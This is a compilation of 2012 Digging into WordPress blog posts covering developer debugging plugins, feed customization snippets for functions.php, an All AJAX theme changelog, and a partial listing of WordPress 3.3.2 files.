WP Developer plugins & tools

(Note: descriptions taken from their respective resources)

Debug Queries

“List query-actions only for admins; for debug purposes. See all queries on the frontend of the blog and find the slowest part. The plugin is perfect for WordPress developers, plugin and theme developers and site administrators who are trying to find out why the blog is too slow.”

Log Deprecated Notices

“Logs the usage of deprecated files, functions, and function arguments, and identifies where the deprecated functionality is being used.”

WordPress Hook Sniffer

“The WordPress Hook Sniffer plugin is a tool for plugin developers that helps determine the sequence in which action and filter functions are fired. It allows you to peer into the inner workings of the WordPress Plugin API. You can configure what is outputted and to where the output is sent (screen or text file).”

WP-FirePHP

“This Plugin integrates FirePHP in your WordPress installation and simplifies developing. No more vardump() and echo while debugging. FirePHP take care of it, clean and easy.”

Codestyling Localization

“You can manage and edit all gettext translation files (*.po/*.mo) directly out of WordPress Admin Center without any need of an external editor.”

Debug Objects

“Debug Objects provides a large number of information: query, cache, cron, constants, hooks, functions and many more.” E.g., query, cache, cron, constants, hooks, and functions. “Values and content get displayed at the frontend and backend of the blog, to analyze errors but also to better understand and develop with/for WordPress.”

5 Ways to Debug WordPress

“Many plugin and theme authors don’t take full advantage of some really helpful debugging tools in WordPress. Here’s a quick run-down of five cool tools for debugging.”

And here are some more useful plugins that haven’t been updated in awhile but continue to provide much-needed functionality. Old doesn’t mean broken ;)

WP Developer Assistant

WP Developer Assistant is “essentially is a toolkit that makes life as a WordPress developer easier.” Does cool stuff like customizable PHP errors, global variable dump, table modification, execute queries, phpinfo(), and much more.

AskApache RewriteRules Viewer

“Displays Most Everything about your WordPress Rewrites. Displays Most Everything about your WordPress Rewrites, Permalinks, URI’s, in a very detailed and raw way. Informational plugin only… Nothing is modified or changed.”

Latency Tracker

“This really simple plugin hooks into your wp_footer function (so make sure that your theme uses it) to count the number of queries, how long they took, how much memory was use, and when it all occurred. That way, they can show some solid data to the host so that they are able to compare numbers and know for sure that their load times are faster or slower when compared.”

TPC! Memory Usage

“TPC! Memory Usage allows WordPress administrators to view the current and peak memory usage of the application. This is extremely helpful when testing new plugins, or if there are a lot of modifications, plugins, or large language files. As of version 0.4, administrators now have the ability to view detailed system information about their web server, MySQL, PHP, and WordPress software.”

WP-Devel

“Developer toolbar giving you easy access to debug information across your entire website. The WP-Devel plugin for WordPress features a ton of debug options to help developers. Debug information is easily turned on/off from the WP-Devel toolbar anywhere on your website.”

WordPress Theme Generator

BONUS tool! I don’t know how useful it actually is, but the WordPress Theme Generator enables anyone to create custom WordPress themes “without any need for HTML, JS, PHP, or CSS knowledge.”

Update: Also recommended debugging resources:

• Debugging in WordPress
• Simple Debugging with WordPress (404 link removed 2013/05/05)

Leave a comment if you know other awesome resources for WordPress devs!

© 2012 Digging into WordPress | Permalink | 13 comments | Add to del.icio.us | Post tags: tips, tools, tricks, wp-devs

With WordPress, you can deliver a wide variety of “Full-text” or “Summary” (partial) feeds in numerous formats, including Atom, RDF, and RSS2. This variety extends the reach of your content by enabling your feeds to be read in more apps, readers, and devices.

As awesome as the default feeds may be, they are also readily customizable using a variety of methods. In addition to WP‘s built-in ways of configuring your feeds, you can go even further with custom templates, functions, and plugins. In this DigWP post, you’ll learn everything you need to customize your feeds with bonus content, recent posts, social media, and much more.

Contents

• Overview
• Feed Template Files
• Built-in ways to customize feeds
• Customize with custom templates
• Customizing with WP plugns
• Customizing feeds with filters and hooks
• Examples of customizing feeds via functions.php
• Conclusion

Overview of WordPress feeds

By default WordPress generates a feed for just about everything, as seen in this overview:

* Note: examples show feed URLs when WP permalinks are enabled.

As if that many feeds weren’t enough, each type of feed is available is the following formats:

• Atom – append /atom/ to any type of feed
• RDF – append /rdf/ to any type of feed
• RSS2 – append /feed/, /feed/rss/, or /feed/rss2/ to just about any WP-generated page (this is the default feed format)

For more details, here’s a complete guide to all of the different WordPress feed URLs.

Note: In previous versions of WordPress feeds were also generated in RSS-0.92 format, but those now are redirected to their respective RSS-2.0 formats, even though the template file for RSS-0.92 still exists in the core. The feed template files are what WordPress uses to generate the various types of feeds in their various formats. Let’s take a look..

Feed Template files

To generate the different feed formats — Atom, RDF, and RSS2 — for its myriad feed types, WordPress employs the following template files:

Post-based feeds

• /wp-includes/feed-atom.php
• /wp-includes/feed-rdf.php
• /wp-includes/feed-rss.php
• /wp-includes/feed-rss2.php

The post-based feeds look self-explanatory: feed-atom.php is used for Atom feeds, feed-rdf.php for RDF feeds, and so on. As mentioned, the thing to note here is that the feed-rss.php (for the RSS-0.92 format) still exists in the WP core, even though it’s no longer used, afaik.

Comment-based feeds

• /wp-includes/feed-atom-comments.php
• /wp-includes/feed-rss2-comments.php

The comment-based feeds are available in only two flavors: Atom and RSS 2.0. As with post feeds, requests for RSS-0.92 comment feeds are redirected to their respective RSS-2.0 formats. Also worth noting, requests for RDF-formatted comment feeds are mysteriously redirected to RSS2 post feeds. Examples:

• http://digwp.com/comments/feed/rdf/
• http://digwp.com/2012/09/notification-list-for-new-books/feed/rdf/

For each of these examples, it would make more sense to redirect to the respective RSS2-formatted comments feed, rather than to any of the post feeds.

Feed functions

• /wp-includes/feed.php

Lastly, the feed.php file contains some of the key functions used in the various feed-templates. For example, the rss_enclosure() function is used in feed-rss2.php to display any RSS enclosure(s) included for the current post. So, if you’ve added, say, the following enclosure to your latest post (via custom field named “enclosure”):

<enclosure url="http://awesome-video.flv" length="104857600" type="video/x-flv" />

WordPress will automatically insert the enclosure into your RSS2 feed via the rss_enclosure() function. Here is what your feed’s XML will look like after the enclosure is included (line breaks added for emphasis):

<item>
	<title>Awesome Video</title>
	<link>http://example.com/awesome-video/</link>
	<comments>http://example.com/awesome-video/#comments</comments>
	<pubDate>Wed, 17 Oct 2012 06:51:07 +0000</pubDate>
	<dc:creator>Perishable</dc:creator>
	<category><![CDATA[WordPress]]></category>
	<guid isPermaLink="false">http://example.com/?p=132</guid>
	<description><![CDATA[Check out this awesome video..]]></description>
	<wfw:commentRss>http://example.com/awesome-video/feed/</wfw:commentRss>
	<slash:comments>500</slash:comments>

	<enclosure url="http://awesome-video.flv" length="104857600" type="video/x-flv" />

</item>

And here’s what we see near the end of the feed-rss2.php template that makes it happen:

.
.
.
		<wfw:commentRss><?php echo esc_url( get_post_comments_feed_link(null, 'rss2') ); ?></wfw:commentRss>
		<slash:comments><?php echo get_comments_number(); ?></slash:comments>

<?php rss_enclosure(); ?>

	<?php do_action('rss2_item'); ?>
	</item>
	<?php endwhile; ?>
</channel>
</rss>

There is a similar function for including enclosures for Atom feeds, atom_enclosure, which is also included in feed.php. And so, now that we’re all up to speed on the what, why and where, let’s apply the information as we learn how to customize our own WordPress feeds.

Built-in ways to customize feeds

The easiest way to customize your feeds is by using the built-in options that WordPress provides. Probably these are familiar to most of us, but they’re worth mentioning along with some of their pros and cons:

Full-text or Summary feed?

If you visit “Settings” > “Reading Settings”, you can choose whether to syndicate your complete posts or only the excerpt. Note: does not apply to comment feeds, which always display comments in their entirety. Delivering partial-feeds is a good way to prevent content-scraping, while delivering full-feeds makes it easier for your readers to stay current (i.e., they don’t have to visit your site, which may be another reason to use partial feeds).

Number of posts/comments to include in feeds

To customize the number of items that appear in your post and comment feeds, visit “Settings” > “Reading Settings” and adjust the option, “Syndication feeds show the most recent”. The number that you choose will apply to both post and comment feeds.

Including larger numbers of posts can make your feed look more attractive to potential subscribers, which may be useful when delivering partial feeds. When delivering full-feeds, however, you may be better served by choosing a lower number of feed items. Here at DigWP.com, we deliver full-text feeds, eight at a time.

Character encoding for feeds

While the default UTF-8 character-encoding is recommended, it is possible to choose an alternate encoding method. Visit “Settings” > “Reading Settings” > “Encoding for pages and feeds” to make it happen.

Customize with custom templates

As explained in previous posts, a great way to generate custom feeds is to use a custom feed template. Those posts explain it all in detail, with the basic idea going something like this:

1. Create a custom page template – and paste into it any existing feed template
2. Modify the custom feed template – for example, change the number of posts, make it a category-specific feed, add custom XML enclosures, and so on.
3. Provide a link to the feed – once everything is in place, the custom feed will be available at the URL of its custom page.

As you can imagine, using custom feed templates is an ideal approach, but it’s also possible to modify your existing feeds (instead of creating new ones). Read on to learn how..

Customizing with WP plugns

The easiest way to go further than default WP customization options is to use a plugin. There are many available. Here are some of our favorites that show the wide range of feed-customizing that’s possible with free WordPress plugins:

• Comments On Feed – enables visitors to view and leave comments directly from each post in the WordPress content feed.
• Feed Template Customize – enables you to modify WP’s RSS and Atom feeds using your own custom feed-templates.
• RSS Image Feed – adds the first image of a post to your feeds, even in Firefox and even if you only display the excerpt.
• RSS Custom Fields – includes all of your custom fields in your feed so you can pull data out of WordPress and use it elsewhere.
• Custom Post Type RSS feeds – makes it “super easy” to create an RSS feed based on custom post types.

And there’s many more feed-tweaking plugins available in the WordPress Plugin Directory and elsewhere. Knock yourself out :)

Customizing feeds with filters and hooks

The most direct way of customizing WordPress feeds is to hook into them directly with actions and filters. For example, WP hooks make it easy to add custom content:

// add custom feed content
function add_feed_content($content) {
	if(is_feed()) {
		$content .= '<p>This article is copyright &copy; '.date('Y').'&nbsp;'.bloginfo('name').'</p>';
	}
	return $content;
}
add_filter('the_excerpt_rss', 'add_feed_content');
add_filter('the_content', 'add_feed_content');

With that snippet included in your theme’s functions.php file, WordPress will display a line of copyright information (for example) to each of your feed items. Of course, much more is possible once you’re able to target hooks for specific feeds. Fortunately, WordPress provides some useful format-specific feed hooks:

Atom post feeds

• atom_ns()
• atom_head()
• atom_author()
• atom_enclosure()
• atom_entry()

RDF post feeds

• rdf_ns()
• rdf_header()
• rdf_item()

RSS2 post feeds

• rss2_ns()
• rss2_head()
• rss_enclosure()
• rss2_item()

Atom comment feeds

• atom_ns()
• atom_comments_ns()
• comments_atom_head()
• comment_atom_entry()

RSS2 comment feeds

• rss2_ns()
• rss2_comments_ns()
• commentsrss2_head()
• commentrss2_item()

For more information (and more hooks), and to see where everything is located, check out the relatively short feed template files mentioned previously. Some of these hooks are also discussed in the WP Codex, and there are some additional infos elsewhere on the Internets. For now, we’ve seen how to hook into feeds and some feed-specific hooks to use, so let’s continue with some practical examples of customizing feeds via your theme’s functions.php.

Examples of customizing feeds via functions.php

Straight on then, here are some practical examples showing different ways to customize default WordPress feeds directly from your theme.

Add a custom logo and icon to your feed

As explained here, a useful way to boost your brand is to include a custom logo and icon to the header area of all of your feeds. Just add the following code to your theme’s functions.php file:

// add icon and logo to Atom feeds
add_action('atom_head','digwp_atom_feed_add_icon');
add_action('comments_atom_head','digwp_atom_feed_add_icon');
function digwp_atom_feed_add_icon() { ?>

	<feed>
		<icon><?php echo get_template_directory_uri(); ?>/images/logo.ico</icon>
		<logo><?php echo get_template_directory_uri(); ?>/images/logo.gif</logo>
	</feed>

<?php }

// add icon and logo to RSS feeds
add_action('rss_head','digwp_rss_feed_add_icon');
add_action('rss2_head','digwp_rss_feed_add_icon');
add_action('commentsrss2_head','digwp_rss_feed_add_icon');
function digwp_rss_feed_add_icon() { ?>

	<image>
		<url><?php echo get_template_directory_uri(); ?>/images/logo.gif</url>
		<title><?php bloginfo_rss('name'); ?></title>
		<link><?php bloginfo_rss('url'); ?></link>
		<width>125</width>
		<height>75</height>
		<description><?php bloginfo('description'); ?></description>
	</image>

<?php }

// add icon and logo to RDF feeds
add_action('rdf_header','digwp_rdf_feed_add_icon');
function digwp_rdf_feed_add_icon() { ?>

	<image rdf:about="<?php echo get_template_directory_uri(); ?>/images/logo.gif">
		<title><?php bloginfo_rss('name'); ?></title>
		<url><?php echo get_template_directory_uri(); ?>/images/logo.gif</url>
		<link><?php bloginfo_rss('url'); ?></link>
		<description><?php bloginfo('description'); ?></description>
	</image>

<?php }

Note that there are two images in play here: an icon for the Atom feeds and a logo for the Atom, RSS/RSS2, and RDF feeds. Once both the code and images are in place, your WordPress feeds will be uniformly branded with the ultra-buff image(s) of your choice.

Add feed <link> tags to your web pages

A great way to boost feed reach is to include automatic feed links to the <head> section of your web pages. When this theme-feature is enabled, WordPress draws upon its vast army of feed types and includes links to any relevant feeds for the current page view. This enables “feed-aware” devices and browsers to automatically detect your available feeds, making it easier for visitors to discover and subscribe. This theme feature is enabled with the following snippet added to your theme’s functions.php file:

// enable WP automatic feed links
if (function_exists('automatic_feed_links')) {
	automatic_feed_links();
} else {
	return;
}

Nothing else to do! Just slap it in there and enjoy your new automatic feed links. Huzzah!

Completely remove the version number from pages and feeds

By default, WordPress includes its version number in your feeds. If you’re always running the most current version of WordPress, there is nothing to worry about; otherwise, it’s a good idea to remove the version information wherever possible. Here’s the code to add to functions.php:

// remove version info from head and feeds
add_filter('the_generator', 'digwp_complete_version_removal');
function digwp_complete_version_removal() {
	return '';
}

As an added bonus, this technique also removes the version information from the <head> section of your web pages.

Delay feed update after posting

Thanks to the fine folks at WP Engineer, here is a technique for delaying feed-updates for a few minutes after posting a new post or page:

// delay feed update after posting
add_filter('posts_where', 'publish_later_on_feed');
function publish_later_on_feed($where) {
	global $wpdb;
	if (is_feed()) {
		// timestamp in WP-format
		$now = gmdate('Y-m-d H:i:s');

		// value for wait; + device
		$wait = '5'; // integer

		// http://dev.mysql.com/doc/refman/5.0/en/date-and-time-functions.html#function_timestampdiff
		$device = 'MINUTE'; // MINUTE, HOUR, DAY, WEEK, MONTH, YEAR

		// add SQL-sytax to default $where
		$where .= " AND TIMESTAMPDIFF($device, $wpdb->posts.post_date_gmt, '$now') > $wait ";
	}
	return $where;
}

After adding this code to your functions.php file, WordPress will wait five minutes before updating your feeds with the new content. This buys you some precious time to triple-check everything and fix any last-minute errors. To delay feed-updating for a longer (or shorter) amount of time, edit the $wait and $device variables to whatever you prefer.

Disable all feeds

With all this talk about customizing feeds, it’s worth asking whether or not you want to make feeds available in the first place. They’re enabled by default, but sometimes it’s optimal to disable them entirely or even selectively. Here’s the function to make it happen:

// disable all feeds
function digwp_disable_feed() {
	wp_die(__('<h1>Feed not available, please visit our <a href="'.get_bloginfo('url').'">Home Page</a>!</h1>'));
}
add_action('do_feed',      'digwp_disable_feed', 1);
add_action('do_feed_rdf',  'digwp_disable_feed', 1);
add_action('do_feed_rss',  'digwp_disable_feed', 1);
add_action('do_feed_rss2', 'digwp_disable_feed', 1);
add_action('do_feed_atom', 'digwp_disable_feed', 1);

Note: Only use this function if you want to disable your feeds! Or to only disable certain feeds, comment out or delete its corresponding add_action and you’re good to go.

Customize the only first post in feeds

For our last example, here is a way to target and customize only the first post in your various feeds. Add the following code to functions.php:

// customize first feed post only
add_filter('the_content', 'digwp_customize_first_feed_post');
add_filter('the_excerpt', 'digwp_customize_first_feed_post');
function digwp_customize_first_feed_post($content) {
	global $wp_query;
	if (is_feed()) {
		$feed_type = get_query_var('feed');
		if ($wp_query->current_post == 0) {
			return '<p>Put some custom content here!</p>' . $content;
		} else {
			return $content;
		}
	} else { return $content; }
}

This technique works out of the box to add some custom content (or whatever) to the first feed item, and is extendible to target subsequent posts as well. Feel free to customize the output to be anything that makes sense. Note: as-is, the custom content is added to the beginning of the first post. To add content instead to the end of the first post, switch the order of the first return, like so:

return $content . '<p>Put some custom content here!</p>';

Incidentally, I use this technique in my new feed-tracking plugin to add a custom-tracking image — works a treat!

Conclusion

We hope this article helps people in customizing their own WordPress feeds. The take-home message is that WordPress provides a wealth of possibilities when it comes to creating, formatting, and customizing your feeds. So be original, and have some fun :)

© 2012 Digging into WordPress | Permalink | 6 comments | Add to del.icio.us | Post tags: feeds, functions, tips

• Updated to use jQuery 1.7.2
• Added missing ajax-loader.gif file
• Updated enqueue-script function
• Added tags display to single post-views
• Added support for oEmbed media embedding
• Added readme.txt to theme directory
• Updated some template tags such as bloginfo(url)
• Fixed search results for queries with multiple terms
• Replaced hard-coded comment form with comment_form() in comments.php
• Changed get_settings() to get_option() throughout theme
• Added <?php wp_link_pages(); ?> to single.php
• Removed some redundant code in footer.php
• Defined $content_width variable in functions.php
• Added licensing, version, tags, info to style.css
• Replaced screenshot.png for version 2
• Cleaned up code, markup, etc.

Plus lots of other details to help improve the plugin based on requests and feedback from users of the theme. I also used the excellent Theme-Check plugin as well as WP’s built-in debugging feature to help find ways to further improve the already awesome theme. For more info, see the readme.txt file or check out the following links:

• Read more about the All AJAX theme
• Try the All AJAX DEMO

Screenshot

How to get it

The All AJAX theme is one of our exclusive themes and is included with any book purchase. For those of you who already own the book, visit the Member’s Area to download All AJAX version 2 at your convenience. To get the book, themes, and all of the extras, visit the DigWP Book Store. Thank you!

© 2012 Digging into WordPress | Permalink | 13 comments | Add to del.icio.us | Post tags: ajax, book, updates

The official Codex page lists some important files, but only for WP version 2.x and doesn’t seem to list files located in all sub-directories. Sure it’s not the most exciting topic in the world, but it’s always good practice to know thy files. You get to see the bigger picture and gain a better understanding of how much stuff actually is included in WordPress — especially if you start digging around in the /wp-includes/ directory.. bring a snack, knife, and some flint to improve your chances.

We’re looking at default download/unzip of WordPress version 3.3.2 — a complete list of all files in all directories in alphabetical order. Here’s the roadmap:

• directory structure (without files)
• WordPress root-level files
• files in the /wp-admin/ directory
• files in the /wp-content/ directory
• files in the /wp-includes/ directory

Basic WordPress directory structure

/wordpress/

	/wp-admin/
		/css/
		/images/
		/includes/
		/js/
		/maint/
		/network/
		/user/

	/wp-content/
		/plugins/
			/akismet/
		/themes/
			/twentyeleven/
				/colors/
				/images/
				/inc/
					/images/
				/js/
				/languages/
			/twentyten/
				/images/
					/headers/
				/languages/
	
	/wp-includes/
		/Text/
		/css/
		/images/
			/crystal/
			/smilies/
			/wlw/
		/js/
			/crop/
			/imgareaselect/
			/jcrop/
			/jquery/
				/ui/
			/plupload/
			/scriptaculous/
			/swfupload/
				/plugins/
			/thickbox/
			/tinymce/
				/langs/
				/plugins/
					/directionality/
					/fullscreen/
					/inlinepopups/
						/skins/
							/clearlooks2/
								/img/
					/media/
						/css/
						/js/
					/paste/
						/js/
					/spellchecker/
						/classes/
							/utils/
						/css/
						/img/
						/includes/
					/tabfocus/
					/wordpress/
						/css/
						/img/
					/wpdialogs/
						/js/
					/wpeditimage/
						/css/
						/img/
						/js/
					/wpfullscreen/
					/wpgallery/
						/img/
					/wplink/
				/themes/
					/advanced/
						/img/
						/js/
						/skins/
							/default/
								/img/
							/highcontrast/
							/o2k7/
								/img/
							/wp_theme/
								/img/
				/utils/
		/pomo/
		/theme-compat/

Root-level WordPress files

/wordpress/
	index.php
	license.txt
	readme.html
	wp-activate.php
	wp-app.php
	wp-blog-header.php
	wp-comments-post.php
	wp-config-sample.php
	wp-cron.php
	wp-links-opml.php
	wp-load.php
	wp-login.php
	wp-mail.php
	wp-pass.php
	wp-register.php
	wp-settings.php
	wp-signup.php
	wp-trackback.php
	xmlrpc.php

Files in the /wp-admin/ directory

/wp-admin/
	about.php
	admin-ajax.php
	admin-footer.php
	admin-functions.php
	admin-header.php
	admin-post.php
	admin.php
	async-upload.php
	comment.php
	credits.php
	/css/
		colors-classic.css
		colors-classic.dev.css
		colors-fresh.css
		colors-fresh.dev.css
		farbtastic.css
		file-list.txt
		ie-rtl.css
		ie-rtl.dev.css
		ie.css
		ie.dev.css
		install.css
		install.dev.css
		media-rtl.css
		media-rtl.dev.css
		media.css
		media.dev.css
		wp-admin-rtl.css
		wp-admin-rtl.dev.css
		wp-admin.css
		wp-admin.dev.css
	custom-background.php
	custom-header.php
	edit-comments.php
	edit-form-advanced.php
	edit-form-comment.php
	edit-link-form.php
	edit-tag-form.php
	edit-tags.php
	edit.php
	export.php
	freedoms.php
	gears-manifest.php
	/images/
		align-center.png
		align-left.png
		align-none.png
		align-right.png
		archive-link.png
		arrows-dark-vs.png
		arrows-dark.png
		arrows-vs.png
		arrows.png
		blue-grad.png
		bubble_bg-rtl.gif
		bubble_bg.gif
		button-grad-active.png
		button-grad.png
		comment-grey-bubble.png
		date-button.gif
		ed-bg-vs.gif
		ed-bg.gif
		fade-butt.png
		fav-arrow-rtl.gif
		fav-arrow.gif
		fav-vs.png
		fav.png
		generic.png
		gray-grad.png
		gray-star.png
		icons32-vs.png
		icons32.png
		imgedit-icons.png
		list.png
		loading-publish.gif
		loading.gif
		logo-ghost.png
		logo-login.png
		logo.gif
		marker.png
		mask.png
		media-button-image.gif
		media-button-music.gif
		media-button-other.gif
		media-button-video.gif
		media-button.png
		menu-arrow-frame-rtl.png
		menu-arrow-frame.png
		menu-arrows.gif
		menu-bits-rtl-vs.gif
		menu-bits-rtl.gif
		menu-bits-vs.gif
		menu-bits.gif
		menu-dark-rtl-vs.gif
		menu-dark-rtl.gif
		menu-dark-vs.gif
		menu-dark.gif
		menu-shadow-rtl.png
		menu-shadow.png
		menu-vs.png
		menu.png
		no.png
		press-this.png
		required.gif
		resize-rtl.gif
		resize.gif
		screen-options-toggle-vs.gif
		screen-options-toggle.gif
		screenshots
		se.png
		sort.gif
		star.png
		toggle-arrow-rtl.gif
		toggle-arrow.gif
		upload-classic.png
		upload-fresh.png
		wheel.png
		white-grad-active.png
		white-grad.png
		widgets-arrow-vs.gif
		widgets-arrow.gif
		wordpress-logo.png
		wp-badge.png
		wp-logo-vs.png
		wp-logo.png
		wpspin_dark.gif
		wpspin_light.gif
		xit.gif
		yes.png
	import.php
	/includes/
		admin.php
		bookmark.php
		class-ftp-pure.php
		class-ftp-sockets.php
		class-ftp.php
		class-pclzip.php
		class-wp-comments-list-table.php
		class-wp-filesystem-base.php
		class-wp-filesystem-direct.php
		class-wp-filesystem-ftpext.php
		class-wp-filesystem-ftpsockets.php
		class-wp-filesystem-ssh2.php
		class-wp-importer.php
		class-wp-links-list-table.php
		class-wp-list-table.php
		class-wp-media-list-table.php
		class-wp-ms-sites-list-table.php
		class-wp-ms-themes-list-table.php
		class-wp-ms-users-list-table.php
		class-wp-plugin-install-list-table.php
		class-wp-plugins-list-table.php
		class-wp-posts-list-table.php
		class-wp-terms-list-table.php
		class-wp-theme-install-list-table.php
		class-wp-themes-list-table.php
		class-wp-upgrader.php
		class-wp-users-list-table.php
		comment.php
		continents-cities.php
		dashboard.php
		deprecated.php
		export.php
		file.php
		image-edit.php
		image.php
		import.php
		list-table.php
		manifest.php
		media.php
		menu.php
		meta-boxes.php
		misc.php
		ms-deprecated.php
		ms.php
		nav-menu.php
		plugin-install.php
		plugin.php
		post.php
		schema.php
		screen.php
		taxonomy.php
		template.php
		theme-install.php
		theme.php
		update-core.php
		update.php
		upgrade.php
		user.php
		widgets.php
	index-extra.php
	index.php
	install-helper.php
	install.php
	/js/
		cat.dev.js
		cat.js
		categories.dev.js
		categories.js
		comment.dev.js
		comment.js
		common.dev.js
		common.js
		custom-background.dev.js
		custom-background.js
		custom-fields.dev.js
		custom-fields.js
		dashboard.dev.js
		dashboard.js
		edit-comments.dev.js
		edit-comments.js
		editor.dev.js
		editor.js
		farbtastic.js
		gallery.dev.js
		gallery.js
		image-edit.dev.js
		image-edit.js
		inline-edit-post.dev.js
		inline-edit-post.js
		inline-edit-tax.dev.js
		inline-edit-tax.js
		link.dev.js
		link.js
		media-upload.dev.js
		media-upload.js
		media.dev.js
		media.js
		nav-menu.dev.js
		nav-menu.js
		password-strength-meter.dev.js
		password-strength-meter.js
		plugin-install.dev.js
		plugin-install.js
		post.dev.js
		post.js
		postbox.dev.js
		postbox.js
		revisions-js.php
		set-post-thumbnail.dev.js
		set-post-thumbnail.js
		tags.dev.js
		tags.js
		theme-preview.dev.js
		theme-preview.js
		theme.dev.js
		theme.js
		user-profile.dev.js
		user-profile.js
		utils.dev.js
		utils.js
		widgets.dev.js
		widgets.js
		word-count.dev.js
		word-count.js
		wp-fullscreen.dev.js
		wp-fullscreen.js
		xfn.dev.js
		xfn.js
	link-add.php
	link-manager.php
	link-parse-opml.php
	link.php
	load-scripts.php
	load-styles.php
	/maint/
		repair.php
	media-new.php
	media-upload.php
	media.php
	menu-header.php
	menu.php
	moderation.php
	ms-admin.php
	ms-delete-site.php
	ms-edit.php
	ms-options.php
	ms-sites.php
	ms-themes.php
	ms-upgrade-network.php
	ms-users.php
	my-sites.php
	nav-menus.php
	/network/
		admin.php
		edit.php
		index-extra.php
		index.php
		menu.php
		plugin-editor.php
		plugin-install.php
		plugins.php
		profile.php
		settings.php
		setup.php
		site-info.php
		site-new.php
		site-settings.php
		site-themes.php
		site-users.php
		sites.php
		theme-editor.php
		theme-install.php
		themes.php
		update-core.php
		update.php
		upgrade.php
		user-edit.php
		user-new.php
		users.php
	network.php
	options-discussion.php
	options-general.php
	options-head.php
	options-media.php
	options-permalink.php
	options-privacy.php
	options-reading.php
	options-writing.php
	options.php
	plugin-editor.php
	plugin-install.php
	plugins.php
	post-new.php
	post.php
	press-this.php
	profile.php
	revision.php
	setup-config.php
	theme-editor.php
	theme-install.php
	themes.php
	tools.php
	update-core.php
	update.php
	upgrade-functions.php
	upgrade.php
	upload.php
	/user/
		admin.php
		index-extra.php
		index.php
		menu.php
		profile.php
		user-edit.php
	user-edit.php
	user-new.php
	users.php
	widgets.php

Files in the /wp-content/ directory

/wp-content/
	index.php
	/plugins/
		/akismet/
			admin.php
			akismet.css
			akismet.gif
			akismet.js
			akismet.php
			legacy.php
			readme.txt
			widget.php
		hello.php
		index.php
	/themes/
		index.php
		/twentyeleven/
			404.php
			archive.php
			author.php
			category.php
			/colors/
				dark.css
			comments.php
			content-aside.php
			content-featured.php
			content-gallery.php
			content-image.php
			content-intro.php
			content-link.php
			content-page.php
			content-quote.php
			content-single.php
			content-status.php
			content.php
			editor-style-rtl.css
			editor-style.css
			footer.php
			functions.php
			header.php
			image.php
			/images/
				comment-arrow-bypostauthor-dark-rtl.png
				comment-arrow-bypostauthor-dark.png
				comment-arrow-bypostauthor-rtl.png
				comment-arrow-bypostauthor.png
				comment-arrow-dark-rtl.png
				comment-arrow-dark.png
				comment-arrow-rtl.png
				comment-arrow.png
				comment-bubble-dark-rtl.png
				comment-bubble-dark.png
				comment-bubble-rtl.png
				comment-bubble.png
				headers
				search.png
				wordpress.png
			/inc/
				/images/
					content-sidebar.png
					content.png
					dark.png
					light.png
					sidebar-content.png
				theme-options.css
				theme-options.js
				theme-options.php
				widgets.php
			index.php
			/js/
				html5.js
				showcase.js
			/languages/
				twentyeleven.pot
			license.txt
			page.php
			readme.txt
			rtl.css
			screenshot.png
			search.php
			searchform.php
			showcase.php
			sidebar-footer.php
			sidebar-page.php
			sidebar.php
			single.php
			style.css
			tag.php
		/twentyten/
			404.php
			archive.php
			attachment.php
			author.php
			category.php
			comments.php
			editor-style-rtl.css
			editor-style.css
			footer.php
			functions.php
			header.php
			/images/
				/headers/
					berries-thumbnail.jpg
					berries.jpg
					cherryblossoms-thumbnail.jpg
					cherryblossoms.jpg
					concave-thumbnail.jpg
					concave.jpg
					fern-thumbnail.jpg
					fern.jpg
					forestfloor-thumbnail.jpg
					forestfloor.jpg
					inkwell-thumbnail.jpg
					inkwell.jpg
					path-thumbnail.jpg
					path.jpg
					sunset-thumbnail.jpg
					sunset.jpg
				wordpress.png
			index.php
			/languages/
				twentyten.pot
			license.txt
			loop-attachment.php
			loop-page.php
			loop-single.php
			loop.php
			onecolumn-page.php
			page.php
			rtl.css
			screenshot.png
			search.php
			sidebar-footer.php
			sidebar.php
			single.php
			style.css
			tag.php

Files in the /wp-includes/ directory

/wp-includes/
	/Text/
		Diff
		Diff.php
	admin-bar.php
	atomlib.php
	author-template.php
	bookmark-template.php
	bookmark.php
	cache.php
	canonical.php
	capabilities.php
	category-template.php
	category.php
	class-IXR.php
	class-feed.php
	class-http.php
	class-json.php
	class-oembed.php
	class-phpass.php
	class-phpmailer.php
	class-pop3.php
	class-simplepie.php
	class-smtp.php
	class-snoopy.php
	class-wp-admin-bar.php
	class-wp-ajax-response.php
	class-wp-editor.php
	class-wp-error.php
	class-wp-http-ixr-client.php
	class-wp-walker.php
	class-wp-xmlrpc-server.php
	class-wp.php
	class.wp-dependencies.php
	class.wp-scripts.php
	class.wp-styles.php
	comment-template.php
	comment.php
	compat.php
	cron.php
	/css/
		admin-bar-rtl.css
		admin-bar-rtl.dev.css
		admin-bar.css
		admin-bar.dev.css
		editor-buttons.css
		editor-buttons.dev.css
		jquery-ui-dialog.css
		jquery-ui-dialog.dev.css
		wp-pointer.css
		wp-pointer.dev.css
	default-constants.php
	default-filters.php
	default-widgets.php
	deprecated.php
	feed-atom-comments.php
	feed-atom.php
	feed-rdf.php
	feed-rss.php
	feed-rss2-comments.php
	feed-rss2.php
	feed.php
	formatting.php
	functions.php
	functions.wp-scripts.php
	functions.wp-styles.php
	general-template.php
	http.php
	/images/
		admin-bar-sprite.png
		arrow-pointer-blue.png
		blank.gif
		/crystal/
			archive.png
			audio.png
			code.png
			default.png
			document.png
			interactive.png
			license.txt
			spreadsheet.png
			text.png
			video.png
		down_arrow.gif
		icon-pointer-flag.png
		rss.png
		/smilies/
			icon_arrow.gif
			icon_biggrin.gif
			icon_confused.gif
			icon_cool.gif
			icon_cry.gif
			icon_eek.gif
			icon_evil.gif
			icon_exclaim.gif
			icon_idea.gif
			icon_lol.gif
			icon_mad.gif
			icon_mrgreen.gif
			icon_neutral.gif
			icon_question.gif
			icon_razz.gif
			icon_redface.gif
			icon_rolleyes.gif
			icon_sad.gif
			icon_smile.gif
			icon_surprised.gif
			icon_twisted.gif
			icon_wink.gif
		toggle-arrow.png
		upload.png
		/wlw/
			wp-comments.png
			wp-icon.png
			wp-watermark.png
		wpicons.png
		wpmini-blue.png
		xit.gif
	/js/
		admin-bar.dev.js
		admin-bar.js
		autosave.dev.js
		autosave.js
		colorpicker.dev.js
		colorpicker.js
		comment-reply.dev.js
		comment-reply.js
		/crop/
			cropper.css
			cropper.js
			marqueeHoriz.gif
			marqueeVert.gif
		hoverIntent.dev.js
		hoverIntent.js
		/imgareaselect/
			border-anim-h.gif
			border-anim-v.gif
			imgareaselect.css
			jquery.imgareaselect.dev.js
			jquery.imgareaselect.js
		/jcrop/
			Jcrop.gif
			jquery.Jcrop.css
			jquery.Jcrop.dev.js
